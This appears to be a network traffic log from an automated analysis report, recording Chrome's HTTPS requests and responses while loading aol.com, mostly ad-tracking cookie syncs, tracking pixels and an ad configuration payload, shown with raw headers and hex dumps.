2024-05-23 22:35:01 UTC	820	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:01 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT Connection: close Set-Cookie: suid=C3E3B1BC7A434D6BB70BF025F9AF69E8; Path=/; domain=simpli.fi; Expires=Sat, 24-May-25 22:35:01 GMT; SameSite=none; Secure; Set-Cookie: suid_legacy=C3E3B1BC7A434D6BB70BF025F9AF69E8; Path=/; domain=simpli.fi; Expires=Sat, 24-May-25 22:35:01 GMT; Secure; Expires: Wed, 22 May 2024 22:35:01 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-23 22:35:01 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.6	50131	54.165.165.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	1318	OUT	GET /sync?nid=20&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
2024-05-23 22:35:01 UTC	120	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Thu, 23 May 2024 22:35:01 GMT Content-Length: 43 Connection: Close
2024-05-23 22:35:01 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.6	50125	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	712	OUT	GET /pagead/ima_ppub_config?ippd=https%3A%2F%2Fwww.aol.com%2F HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	833	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Date: Thu, 23 May 2024 22:35:01 GMT Expires: Thu, 23 May 2024 22:35:01 GMT Cache-Control: private, max-age=3600, stale-while-revalidate=3600 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 21107 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 23-May-2024 22:50:01 GMT; path=/; domain=.doubleclick.net; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:01 UTC	557	IN	Data Raw: 5b 6e 75 6c 6c 2c 5b 5b 5b 22 31 30 33 35 31 32 36 39 38 22 5d 2c 5b 22 31 30 38 33 34 37 31 30 35 22 5d 2c 5b 22 31 32 31 31 32 34 35 39 34 22 5d 2c 5b 22 32 31 37 38 33 33 34 37 33 30 39 22 5d 2c 5b 22 32 32 30 36 30 30 36 39 35 31 34 22 5d 2c 5b 22 32 32 38 38 38 31 35 32 32 37 39 22 5d 2c 5b 22 32 34 37 34 36 37 37 39 22 5d 2c 5b 22 36 31 37 36 33 38 30 36 22 5d 2c 5b 22 31 30 30 30 39 30 38 22 5d 2c 5b 22 31 30 30 30 39 32 32 22 5d 2c 5b 22 31 30 30 31 30 34 39 22 5d 2c 5b 22 31 30 30 31 32 31 39 22 5d 2c 5b 22 31 30 30 31 32 38 30 32 30 22 5d 2c 5b 22 31 30 30 31 35 33 35 22 5d 2c 5b 22 31 30 30 31 37 33 33 22 5d 2c 5b 22 31 30 30 32 33 30 34 22 5d 2c 5b 22 31 30 30 32 34 35 33 22 5d 2c 5b 22 31 30 30 32 36 30 31 22 5d 2c 5b 22 31 30 30 32 36 30 35 Data Ascii: [null,[[["103512698"],["108347105"],["121124594"],["21783347309"],["22060069514"],["22888152279"],["24746779"],["61763806"],["1000908"],["1000922"],["1001049"],["1001219"],["100128020"],["1001535"],["1001733"],["1002304"],["1002453"],["1002601"],["1002605
2024-05-23 22:35:01 UTC	1390	IN	Data Raw: 5d 2c 5b 22 31 30 31 31 37 39 32 22 5d 2c 5b 22 31 30 31 32 34 36 37 22 5d 2c 5b 22 31 30 31 33 30 31 35 22 5d 2c 5b 22 31 30 31 33 33 36 31 22 5d 2c 5b 22 31 30 31 33 33 36 36 39 22 5d 2c 5b 22 31 30 31 33 37 36 35 22 5d 2c 5b 22 31 30 31 33 39 36 32 22 5d 2c 5b 22 31 30 31 33 39 36 34 22 5d 2c 5b 22 31 30 31 34 37 36 31 22 5d 2c 5b 22 31 30 31 34 37 36 33 22 5d 2c 5b 22 31 30 31 35 31 30 31 22 5d 2c 5b 22 31 30 31 35 33 39 31 22 5d 2c 5b 22 31 30 31 35 36 38 31 22 5d 2c 5b 22 31 30 31 35 39 36 39 22 5d 2c 5b 22 31 30 31 35 39 37 30 22 5d 2c 5b 22 31 30 31 36 31 36 32 22 5d 2c 5b 22 31 30 31 36 37 36 30 22 5d 2c 5b 22 31 30 31 36 38 35 34 22 5d 2c 5b 22 31 30 31 37 30 34 33 22 5d 2c 5b 22 31 30 31 39 30 33 30 22 5d 2c 5b 22 31 30 31 39 34 30 34 22 5d 2c Data Ascii: ],["1011792"],["1012467"],["1013015"],["1013361"],["10133669"],["1013765"],["1013962"],["1013964"],["1014761"],["1014763"],["1015101"],["1015391"],["1015681"],["1015969"],["1015970"],["1016162"],["1016760"],["1016854"],["1017043"],["1019030"],["1019404"],
2024-05-23 22:35:01 UTC	1390	IN	Data Raw: 5b 22 31 30 38 32 37 32 37 37 22 5d 2c 5b 22 31 30 38 34 31 39 39 22 5d 2c 5b 22 31 30 38 36 31 34 34 37 22 5d 2c 5b 22 31 30 38 36 35 32 38 37 22 5d 2c 5b 22 31 30 38 38 34 38 32 22 5d 2c 5b 22 31 30 38 38 37 34 35 22 5d 2c 5b 22 31 30 39 31 32 36 31 22 5d 2c 5b 22 31 30 39 31 38 39 32 35 22 5d 2c 5b 22 31 30 39 32 30 37 39 22 5d 2c 5b 22 31 30 39 32 30 38 33 33 30 22 5d 2c 5b 22 31 30 39 32 31 39 31 22 5d 2c 5b 22 31 30 39 32 32 37 32 22 5d 2c 5b 22 31 30 39 32 36 32 35 22 5d 2c 5b 22 31 30 39 33 34 33 31 22 5d 2c 5b 22 31 30 39 33 36 34 37 22 5d 2c 5b 22 31 30 39 33 36 38 32 34 33 22 5d 2c 5b 22 31 30 39 34 31 39 33 22 5d 2c 5b 22 31 30 39 36 31 35 31 22 5d 2c 5b 22 31 30 39 36 36 30 31 22 5d 2c 5b 22 31 31 30 30 38 34 37 22 5d 2c 5b 22 31 31 30 31 36 Data Ascii: ["10827277"],["1084199"],["10861447"],["10865287"],["1088482"],["1088745"],["1091261"],["10918925"],["1092079"],["109208330"],["1092191"],["1092272"],["1092625"],["1093431"],["1093647"],["109368243"],["1094193"],["1096151"],["1096601"],["1100847"],["11016
2024-05-23 22:35:01 UTC	1390	IN	Data Raw: 39 35 22 5d 2c 5b 22 31 37 30 39 33 38 36 39 34 22 5d 2c 5b 22 31 37 31 31 31 33 33 35 22 5d 2c 5b 22 31 37 32 30 31 35 38 37 22 5d 2c 5b 22 31 37 32 39 37 33 37 34 34 22 5d 2c 5b 22 31 37 34 30 35 36 38 22 5d 2c 5b 22 31 37 35 30 33 36 30 22 5d 2c 5b 22 31 37 35 38 39 33 31 22 5d 2c 5b 22 31 37 36 34 30 34 34 35 22 5d 2c 5b 22 31 37 37 30 39 30 30 31 22 5d 2c 5b 22 31 37 38 33 34 39 38 22 5d 2c 5b 22 31 37 39 35 33 36 33 37 22 5d 2c 5b 22 31 38 30 30 37 33 33 36 22 5d 2c 5b 22 31 38 30 31 38 36 37 39 22 5d 2c 5b 22 31 38 30 39 30 39 39 35 22 5d 2c 5b 22 31 38 32 32 30 33 33 33 32 22 5d 2c 5b 22 31 38 32 32 32 36 34 22 5d 2c 5b 22 31 38 32 34 33 30 33 36 22 5d 2c 5b 22 31 38 32 35 34 37 39 36 22 5d 2c 5b 22 31 38 32 39 30 35 33 39 22 5d 2c 5b 22 31 38 34 Data Ascii: 95"],["170938694"],["17111335"],["17201587"],["172973744"],["1740568"],["1750360"],["1758931"],["17640445"],["17709001"],["1783498"],["17953637"],["18007336"],["18018679"],["18090995"],["182203332"],["1822264"],["18243036"],["18254796"],["18290539"],["184
2024-05-23 22:35:01 UTC	1390	IN	Data Raw: 2c 5b 22 32 34 36 36 36 33 30 38 22 5d 2c 5b 22 32 34 39 37 31 36 37 36 22 5d 2c 5b 22 32 35 32 32 39 30 31 34 22 5d 2c 5b 22 32 35 32 33 31 37 36 22 5d 2c 5b 22 32 35 32 36 38 36 36 22 5d 2c 5b 22 32 35 33 38 31 34 34 22 5d 2c 5b 22 32 35 34 33 30 35 36 35 22 5d 2c 5b 22 32 35 34 33 39 35 32 22 5d 2c 5b 22 32 35 36 31 34 39 31 22 5d 2c 5b 22 32 35 38 30 37 38 36 22 5d 2c 5b 22 32 35 38 31 30 33 32 22 5d 2c 5b 22 32 36 30 38 36 31 38 39 22 5d 2c 5b 22 32 36 31 34 35 38 34 22 5d 2c 5b 22 32 36 33 30 30 33 32 30 22 5d 2c 5b 22 32 37 30 32 31 32 37 34 22 5d 2c 5b 22 32 37 30 37 36 37 32 31 22 5d 2c 5b 22 32 37 31 34 34 34 36 22 5d 2c 5b 22 32 37 31 39 31 39 32 22 5d 2c 5b 22 32 37 32 30 32 37 39 34 22 5d 2c 5b 22 32 37 32 31 33 31 35 33 22 5d 2c 5b 22 32 37 Data Ascii: ,["24666308"],["24971676"],["25229014"],["2523176"],["2526866"],["2538144"],["25430565"],["2543952"],["2561491"],["2580786"],["2581032"],["26086189"],["2614584"],["26300320"],["27021274"],["27076721"],["2714446"],["2719192"],["27202794"],["27213153"],["27
2024-05-23 22:35:01 UTC	1390	IN	Data Raw: 36 37 38 39 22 5d 2c 5b 22 34 33 37 32 31 35 30 22 5d 2c 5b 22 34 34 32 33 35 35 30 38 22 5d 2c 5b 22 34 34 32 34 35 38 37 31 22 5d 2c 5b 22 34 34 33 38 38 39 31 22 5d 2c 5b 22 34 34 34 38 35 37 30 22 5d 2c 5b 22 34 34 39 34 30 34 38 22 5d 2c 5b 22 34 35 32 36 31 32 36 22 5d 2c 5b 22 34 35 34 39 33 32 35 22 5d 2c 5b 22 34 35 35 31 36 38 36 22 5d 2c 5b 22 34 35 35 37 30 30 34 35 22 5d 2c 5b 22 34 35 36 30 36 38 38 34 22 5d 2c 5b 22 34 35 37 35 32 35 30 22 5d 2c 5b 22 34 35 38 38 35 38 34 22 5d 2c 5b 22 34 36 32 38 31 38 36 35 22 5d 2c 5b 22 34 36 34 36 31 32 38 22 5d 2c 5b 22 34 36 37 33 35 34 39 34 22 5d 2c 5b 22 34 36 39 37 34 33 31 36 22 5d 2c 5b 22 34 37 33 31 36 38 30 22 5d 2c 5b 22 34 37 35 38 39 38 38 22 5d 2c 5b 22 34 37 38 34 39 37 31 22 5d 5d 5d Data Ascii: 6789"],["4372150"],["44235508"],["44245871"],["4438891"],["4448570"],["4494048"],["4526126"],["4549325"],["4551686"],["45570045"],["45606884"],["4575250"],["4588584"],["46281865"],["4646128"],["46735494"],["46974316"],["4731680"],["4758988"],["4784971"]]]
2024-05-23 22:35:01 UTC	1390	IN	Data Raw: 30 31 22 2c 31 5d 2c 5b 22 31 30 33 31 36 38 35 22 2c 31 5d 2c 5b 22 31 30 33 33 33 36 38 33 22 2c 31 5d 2c 5b 22 31 30 33 34 32 39 34 22 2c 31 5d 2c 5b 22 31 30 33 34 34 38 36 22 2c 31 5d 2c 5b 22 31 30 33 34 34 39 31 22 2c 31 5d 2c 5b 22 31 30 33 34 35 37 32 22 2c 31 5d 2c 5b 22 31 30 33 34 37 36 36 22 2c 31 5d 2c 5b 22 31 30 33 34 38 36 37 22 2c 31 5d 2c 5b 22 31 30 33 34 39 37 33 37 22 2c 31 5d 2c 5b 22 31 30 33 35 31 32 36 39 38 22 2c 31 5d 2c 5b 22 31 30 33 35 32 30 38 22 2c 31 5d 2c 5b 22 31 30 33 35 39 35 37 22 2c 31 5d 2c 5b 22 31 30 33 36 37 34 35 22 2c 31 5d 2c 5b 22 31 30 33 36 38 34 30 22 2c 31 5d 2c 5b 22 31 30 33 37 36 33 34 22 2c 31 5d 2c 5b 22 31 30 33 38 34 36 33 22 2c 31 5d 2c 5b 22 31 30 33 39 30 38 35 22 2c 31 5d 2c 5b 22 31 30 33 39 Data Ascii: 01",1],["1031685",1],["10333683",1],["1034294",1],["1034486",1],["1034491",1],["1034572",1],["1034766",1],["1034867",1],["10349737",1],["103512698",1],["1035208",1],["1035957",1],["1036745",1],["1036840",1],["1037634",1],["1038463",1],["1039085",1],["1039
2024-05-23 22:35:01 UTC	1390	IN	Data Raw: 30 22 2c 31 5d 2c 5b 22 31 31 31 32 36 32 39 36 22 2c 31 5d 2c 5b 22 31 31 31 32 38 36 32 22 2c 31 5d 2c 5b 22 31 31 31 37 30 39 34 35 22 2c 31 5d 2c 5b 22 31 31 31 37 31 34 30 22 2c 31 5d 2c 5b 22 31 31 32 31 31 39 38 30 22 2c 31 5d 2c 5b 22 31 31 32 39 37 36 30 31 22 2c 31 5d 2c 5b 22 31 31 34 31 31 39 38 22 2c 31 5d 2c 5b 22 31 31 34 31 37 35 34 30 22 2c 31 5d 2c 5b 22 31 31 34 33 34 36 36 35 32 22 2c 31 5d 2c 5b 22 31 31 34 34 39 32 36 37 22 2c 31 5d 2c 5b 22 31 31 35 32 32 36 38 22 2c 31 5d 2c 5b 22 31 31 35 32 33 37 35 22 2c 31 5d 2c 5b 22 31 31 36 33 32 36 32 36 36 22 2c 31 5d 2c 5b 22 31 31 37 32 32 32 36 38 22 2c 31 5d 2c 5b 22 31 31 37 33 39 37 36 37 22 2c 31 5d 2c 5b 22 31 31 37 36 32 38 32 37 22 2c 31 5d 2c 5b 22 31 31 37 36 39 34 34 39 22 2c Data Ascii: 0",1],["11126296",1],["1112862",1],["11170945",1],["1117140",1],["11211980",1],["11297601",1],["1141198",1],["11417540",1],["114346652",1],["11449267",1],["1152268",1],["1152375",1],["116326266",1],["11722268",1],["11739767",1],["11762827",1],["11769449",
2024-05-23 22:35:01 UTC	1390	IN	Data Raw: 2c 31 5d 2c 5b 22 31 37 38 33 34 39 38 22 2c 31 5d 2c 5b 22 31 37 39 35 33 36 33 37 22 2c 31 5d 2c 5b 22 31 38 30 30 37 33 33 36 22 2c 31 5d 2c 5b 22 31 38 30 31 38 36 37 39 22 2c 31 5d 2c 5b 22 31 38 30 39 30 39 39 35 22 2c 31 5d 2c 5b 22 31 38 32 32 30 33 33 33 32 22 2c 31 5d 2c 5b 22 31 38 32 32 32 36 34 22 2c 31 5d 2c 5b 22 31 38 32 34 33 30 33 36 22 2c 31 5d 2c 5b 22 31 38 32 35 34 37 39 36 22 2c 31 5d 2c 5b 22 31 38 32 39 30 35 33 39 22 2c 31 5d 2c 5b 22 31 38 34 38 39 39 34 35 22 2c 31 5d 2c 5b 22 31 38 36 38 33 35 32 22 2c 31 5d 2c 5b 22 31 38 37 32 38 31 37 31 31 22 2c 31 5d 2c 5b 22 31 38 37 34 32 38 34 22 2c 31 5d 2c 5b 22 31 38 38 39 30 38 31 33 22 2c 31 5d 2c 5b 22 31 38 39 38 33 35 32 38 22 2c 31 5d 2c 5b 22 31 39 30 32 35 30 34 32 22 2c 31 Data Ascii: ,1],["1783498",1],["17953637",1],["18007336",1],["18018679",1],["18090995",1],["182203332",1],["1822264",1],["18243036",1],["18254796",1],["18290539",1],["18489945",1],["1868352",1],["187281711",1],["1874284",1],["18890813",1],["18983528",1],["19025042",1
2024-05-23 22:35:01 UTC	1390	IN	Data Raw: 32 35 36 22 2c 31 5d 2c 5b 22 32 33 34 37 38 39 36 22 2c 31 5d 2c 5b 22 32 33 35 37 31 36 38 38 22 2c 31 5d 2c 5b 22 32 33 38 38 36 39 33 32 22 2c 31 5d 2c 5b 22 32 33 39 32 36 32 34 35 22 2c 31 5d 2c 5b 22 32 34 33 32 33 34 36 22 2c 31 5d 2c 5b 22 32 34 33 37 36 35 36 22 2c 31 5d 2c 5b 22 32 34 35 34 38 37 31 37 22 2c 31 5d 2c 5b 22 32 34 36 32 33 36 36 35 33 22 2c 31 5d 2c 5b 22 32 34 36 36 36 33 30 38 22 2c 31 5d 2c 5b 22 32 34 37 34 36 37 37 39 22 2c 31 5d 2c 5b 22 32 34 39 37 31 36 37 36 22 2c 31 5d 2c 5b 22 32 35 32 32 39 30 31 34 22 2c 31 5d 2c 5b 22 32 35 32 33 31 37 36 22 2c 31 5d 2c 5b 22 32 35 32 36 38 36 36 22 2c 31 5d 2c 5b 22 32 35 33 38 31 34 34 22 2c 31 5d 2c 5b 22 32 35 34 33 30 35 36 35 22 2c 31 5d 2c 5b 22 32 35 34 33 39 35 32 22 2c 31 Data Ascii: 256",1],["2347896",1],["23571688",1],["23886932",1],["23926245",1],["2432346",1],["2437656",1],["24548717",1],["246236653",1],["24666308",1],["24746779",1],["24971676",1],["25229014",1],["2523176",1],["2526866",1],["2538144",1],["25430565",1],["2543952",1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.6	50129	3.33.220.150	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	735	OUT	GET /track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=3e077bb4-bf4a-4c19-933e-c98ddd88142e; TDCPM=CAEYBSgCMgsIhOWJ_eng_TwQBTgB
2024-05-23 22:35:01 UTC	516	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:01 GMT Content-Length: 233 Connection: close server: Kestrel location: https://pbs.yahoo.com/setuid?bidder=ttd&uid=3e077bb4-bf4a-4c19-933e-c98ddd88142e&gdpr=0&gdpr_consent= set-cookie: TDID=3e077bb4-bf4a-4c19-933e-c98ddd88142e; expires=Fri, 23 May 2025 22:35:01 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSABKAIyCwiE5Yn96eD9PBAFOAE.; expires=Fri, 23 May 2025 22:35:01 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:35:01 UTC	233	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 73 65 74 75 69 64 3f 62 69 64 64 65 72 3d 74 74 64 26 75 69 64 3d 33 65 30 37 37 62 62 34 2d 62 66 34 61 2d 34 63 31 39 2d 39 33 33 65 2d 63 39 38 64 64 64 38 38 31 34 32 65 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 73 65 74 75 69 64 3f 62 69 64 64 65 72 3d 74 74 64 26 75 69 64 3d 33 65 30 37 37 62 62 34 2d 62 66 34 61 2d 34 63 31 39 2d 39 33 33 65 2d 63 39 38 64 64 64 38 38 31 34 32 65 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://pbs.yahoo.com/setuid?bidder=ttd&uid=3e077bb4-bf4a-4c19-933e-c98ddd88142e&gdpr=0&gdpr_consent=">https://pbs.yahoo.com/setuid?bidder=ttd&uid=3e077bb4-bf4a-4c19-933e-c98ddd88142e&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.6	50124	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	926	OUT	GET /p2?c1=2&c2=1000009&c5=1197803361&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&c14=-1&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1716503684011 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=100458df32184cbdda853d11716503699; PID=172458df32337cbdda8521e1716503699; XID=100458df32184cbdda853d11716503699
2024-05-23 22:35:01 UTC	363	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 23 May 2024 22:35:01 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 4a345f25fcb995602afaf132ccf353de.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P5 X-Amz-Cf-Id: wu7ItQf61S14JYzoeP-9_JLKAcv2zOLkIofIavWWUX06kpyD_-cBSA==
2024-05-23 22:35:01 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.6	50126	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	1594	OUT	GET /v1/evp/asset?bcid=5afc769f7239855a15fcee15&pid=5afc75ea3a04293dad9f1a1f&secure=true&rssId=42b897a6-9771-3329-b351-69a701a77438&firstVideo=true&height=276&width=368&sid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&show_name=AP&site=aolhomepage&region=US&lang=en-US&space_id=1197803361&experience=aolhomepage&expn=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&b_id=39ed8tlj4vh45&licensor_id=a077000000IpoJiAAJ&us_privacy=1YNN&isDockable=false&m.type=VOD&device=desktop&v=1&f=json&s2s=true&gdpr=false&content_len=68&content_title=3+Things+to+Know%3A+Graceland%2C+Prince+William%2C+Barrymore&content_id=6bdcc9b44e4944e0afb2acf2b5e6c7e6&gpp=DBAA&gpp_sid=-1&pver=1.6.29&aver=3.642.0&country=US&state=California&state_code=CA&place=90013&place_type=zip&ad.plseq=1&ad.pct=aol&ad.pl=up&ad.pt=home&ad.pubfamily=aol&pos=preroll&evp=bcp&fmt=vmap&ps=b2be1uzt&r=https%3A%2F%2Fwww.aol.com%2F&givn=[GOOGLE_INSTREAM_VIDEO_NONCE]&pbckt=Treatment_Oath_Player&npa=0&ltd=0&ppid= HTTP/1.1 Host: tb.pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:01 UTC	741	IN	HTTP/1.1 200 OK access-control-allow-headers: Content-Type server: ATS date: Thu, 23 May 2024 22:35:01 GMT access-control-allow-origin: https://www.aol.com access-control-allow-credentials: true strict-transport-security: max-age=31536000 content-type: application/xml content-length: 11629 access-control-allow-methods: POST,OPTIONS x-envoy-upstream-service-time: 164 x-envoy-decorator-operation: thunderball--production-ir2.video--thunderball-server-k8s.svc.yahoo.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
